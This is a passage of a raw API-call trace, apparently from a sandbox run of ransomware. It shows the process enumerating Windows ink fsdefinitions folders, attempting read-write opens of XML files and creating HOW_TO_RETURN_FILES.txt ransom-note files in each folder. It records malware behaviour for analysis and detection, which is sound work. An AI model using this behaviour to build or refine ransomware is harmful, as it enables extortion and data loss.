dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.968] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.968] AreFileApisANSI () returned 1 [0094.969] GetACP () returned 0x4e4 [0094.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="zh-dayi.xml", cchWideChar=11, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="zh-dayi.xml.xml", lpUsedDefaultChar=0x37de34) returned 11 [0094.969] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.969] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.969] AreFileApisANSI () returned 1 [0094.969] GetACP () returned 0x4e4 [0094.969] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="zh-phonetic.xml", cchWideChar=15, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="zh-phonetic.xml", lpUsedDefaultChar=0x37de34) returned 15 [0094.969] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.970] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 0 [0094.970] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0094.971] AreFileApisANSI () returned 1 [0094.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692188, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0094.971] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0094.971] GetFileType (hFile=0x13c) returned 0x1 [0094.972] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.972] AreFileApisANSI () returned 1 [0094.972] GetACP () returned 0x4e4 [0094.972] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="main.xml", cchWideChar=8, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="main.xmlml", lpUsedDefaultChar=0x37dec0) returned 8 [0094.972] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.973] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.973] AreFileApisANSI () returned 1 [0094.973] GetACP () returned 0x4e4 [0094.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="numbers", cchWideChar=7, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="numbersl", lpUsedDefaultChar=0x37dec0) returned 7 [0094.973] AreFileApisANSI () returned 1 [0094.973] GetACP () returned 0x4e4 [0094.973] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9948, cbMultiByte=73, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\jȨ") returned 73 [0094.973] AreFileApisANSI () returned 1 [0094.973] GetACP () returned 0x4e4 [0094.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37de34) returned 1 [0094.973] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.973] AreFileApisANSI () returned 1 [0094.973] GetACP () returned 0x4e4 [0094.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37de34) returned 2 [0094.973] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.973] AreFileApisANSI () returned 1 [0094.973] GetACP () returned 0x4e4 [0094.973] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="numbase.xml", cchWideChar=11, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="numbase.xml", lpUsedDefaultChar=0x37de34) returned 11 [0094.973] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.973] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 0 [0094.974] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0094.974] AreFileApisANSI () returned 1 [0094.974] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692188, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 97 [0094.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0094.974] GetFileType (hFile=0x13c) returned 0x1 [0094.975] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.975] AreFileApisANSI () returned 1 [0094.975] GetACP () returned 0x4e4 [0094.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="numbers.xml", cchWideChar=11, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="numbers.xmlefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 11 [0094.975] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.976] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.976] AreFileApisANSI () returned 1 [0094.976] GetACP () returned 0x4e4 [0094.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="oskmenu", cchWideChar=7, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="oskmenu.xml", lpUsedDefaultChar=0x37dec0) returned 7 [0094.976] AreFileApisANSI () returned 1 [0094.976] GetACP () returned 0x4e4 [0094.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9948, cbMultiByte=73, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\jȠ") returned 73 [0094.976] AreFileApisANSI () returned 1 [0094.976] GetACP () returned 0x4e4 [0094.976] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37de34) returned 1 [0094.976] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.976] AreFileApisANSI () returned 1 [0094.976] GetACP () returned 0x4e4 [0094.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37de34) returned 2 [0094.977] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.977] AreFileApisANSI () returned 1 [0094.977] GetACP () returned 0x4e4 [0094.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="oskmenubase.xml", cchWideChar=15, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="oskmenubase.xml", lpUsedDefaultChar=0x37de34) returned 15 [0094.977] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.977] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 0 [0094.977] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0094.977] AreFileApisANSI () returned 1 [0094.978] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692188, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 97 [0094.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0094.978] GetFileType (hFile=0x13c) returned 0x1 [0094.979] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.979] AreFileApisANSI () returned 1 [0094.979] GetACP () returned 0x4e4 [0094.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="oskmenu.xml", cchWideChar=11, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="oskmenu.xml", lpUsedDefaultChar=0x37dec0) returned 11 [0094.979] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.979] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.979] AreFileApisANSI () returned 1 [0094.979] GetACP () returned 0x4e4 [0094.979] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="osknumpad", cchWideChar=9, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="osknumpadml", lpUsedDefaultChar=0x37dec0) returned 9 [0094.979] AreFileApisANSI () returned 1 [0094.980] GetACP () returned 0x4e4 [0094.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9948, cbMultiByte=75, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\") returned 75 [0094.980] AreFileApisANSI () returned 1 [0094.980] GetACP () returned 0x4e4 [0094.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37de34) returned 1 [0094.980] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.980] AreFileApisANSI () returned 1 [0094.980] GetACP () returned 0x4e4 [0094.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37de34) returned 2 [0094.980] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.980] AreFileApisANSI () returned 1 [0094.980] GetACP () returned 0x4e4 [0094.980] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="osknumpadbase.xml", cchWideChar=17, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="osknumpadbase.xml", lpUsedDefaultChar=0x37de34) returned 17 [0094.980] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.980] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 0 [0094.980] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0094.980] AreFileApisANSI () returned 1 [0094.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692188, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 99 [0094.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0094.981] GetFileType (hFile=0x13c) returned 0x1 [0094.981] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.981] AreFileApisANSI () returned 1 [0094.981] GetACP () returned 0x4e4 [0094.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="osknumpad.xml", cchWideChar=13, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="osknumpad.xmlTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 13 [0094.982] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.982] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.982] AreFileApisANSI () returned 1 [0094.982] GetACP () returned 0x4e4 [0094.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="oskpred", cchWideChar=7, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="oskpredad.xml", lpUsedDefaultChar=0x37dec0) returned 7 [0094.982] AreFileApisANSI () returned 1 [0094.983] GetACP () returned 0x4e4 [0094.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9948, cbMultiByte=73, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\jȠ") returned 73 [0094.983] AreFileApisANSI () returned 1 [0094.983] GetACP () returned 0x4e4 [0094.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37de34) returned 1 [0094.983] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.983] AreFileApisANSI () returned 1 [0094.983] GetACP () returned 0x4e4 [0094.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37de34) returned 2 [0094.983] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.983] AreFileApisANSI () returned 1 [0094.983] GetACP () returned 0x4e4 [0094.983] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="oskpredbase.xml", cchWideChar=15, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="oskpredbase.xml", lpUsedDefaultChar=0x37de34) returned 15 [0094.983] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.984] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 0 [0094.984] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0094.984] AreFileApisANSI () returned 1 [0094.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692188, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 97 [0094.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0094.984] GetFileType (hFile=0x13c) returned 0x1 [0094.985] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.985] AreFileApisANSI () returned 1 [0094.985] GetACP () returned 0x4e4 [0094.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="oskpred.xml", cchWideChar=11, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="oskpred.xmlml", lpUsedDefaultChar=0x37dec0) returned 11 [0094.985] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.985] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b0690 | out: lpFindFileData=0x6b0690) returned 1 [0094.985] AreFileApisANSI () returned 1 [0094.985] GetACP () returned 0x4e4 [0094.985] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="symbols", cchWideChar=7, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="symbols.xml", lpUsedDefaultChar=0x37dec0) returned 7 [0094.985] AreFileApisANSI () returned 1 [0094.985] GetACP () returned 0x4e4 [0094.985] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a9948, cbMultiByte=73, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\jȠ") returned 73 [0094.986] AreFileApisANSI () returned 1 [0094.986] GetACP () returned 0x4e4 [0094.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37de34) returned 1 [0094.986] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.986] AreFileApisANSI () returned 1 [0094.986] GetACP () returned 0x4e4 [0094.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37de34) returned 2 [0094.986] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.986] AreFileApisANSI () returned 1 [0094.986] GetACP () returned 0x4e4 [0094.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ea-sym.xml", cchWideChar=10, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="ea-sym.xmls", lpUsedDefaultChar=0x37de34) returned 10 [0094.986] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.986] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.986] AreFileApisANSI () returned 1 [0094.986] GetACP () returned 0x4e4 [0094.986] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ja-jp-sym.xml", cchWideChar=13, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="ja-jp-sym.xml", lpUsedDefaultChar=0x37de34) returned 13 [0094.986] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.987] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 1 [0094.987] AreFileApisANSI () returned 1 [0094.987] GetACP () returned 0x4e4 [0094.987] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="symbase.xml", cchWideChar=11, lpMultiByteStr=0x6b7cbc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="symbase.xmlml", lpUsedDefaultChar=0x37de34) returned 11 [0094.987] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0094.987] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6b1b20 | out: lpFindFileData=0x6b1b20) returned 0 [0094.987] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0094.987] AreFileApisANSI () returned 1 [0094.987] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692188, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 97 [0094.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0094.988] GetFileType (hFile=0x13c) returned 0x1 [0094.989] FindNextFileW (in: hFindFile=0x6ab350, 